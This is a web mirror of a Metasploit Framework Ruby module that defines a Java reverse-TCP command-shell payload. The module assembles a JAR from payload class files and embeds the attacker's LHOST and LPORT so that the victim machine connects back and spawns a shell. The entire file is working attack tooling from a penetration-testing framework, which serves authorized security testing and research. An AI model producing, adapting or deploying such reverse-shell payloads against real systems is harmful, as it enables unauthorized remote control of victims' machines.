CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/java/shell_reverse_tcp.rb
Views: 11768
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 7497
10
11
include Msf::Payload::Single
12
include Msf::Payload::Java
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info={})
16
super(merge_info(info,
17
'Name' => 'Java Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => ['mihi', 'egypt'],
20
'License' => MSF_LICENSE,
21
'Platform' => ['java'],
22
'Arch' => ARCH_JAVA,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'Payload' => {'Offsets' => {}, 'Payload' => ''}
26
))
27
end
28
29
def generate_jar(opts={})
30
jar = Rex::Zip::Jar.new
31
jar.add_sub("metasploit") if opts[:random]
32
class_files.each do |path|
33
1.upto(path.length - 1) do |idx|
34
full = path[0,idx].join("/") + "/"
35
if !(jar.entries.map{|e|e.name}.include?(full))
36
jar.add_file(full, '')
37
end
38
end
39
data = MetasploitPayloads.read('java', path)
40
jar.add_file(path.join("/"), data)
41
end
42
jar.build_manifest(:main_class => "metasploit.Payload")
43
jar.add_file("metasploit.dat", stager_config(opts))
44
45
jar
46
end
47
48
def stager_config(opts={})
49
ds = opts[:datastore] || datastore
50
c = ""
51
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
52
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
53
# Magical, means use stdin/stdout. Used for debugging
54
#c << "LPORT=0\n"
55
c << "EmbeddedStage=Shell\n"
56
57
c
58
end
59
60
def class_files
61
[
62
['metasploit', 'Payload.class'],
63
['javapayload', 'stage', 'Stage.class'],
64
['javapayload', 'stage', 'StreamForwarder.class'],
65
['javapayload', 'stage', 'Shell.class'],
66
]
67
end
68
end
69
70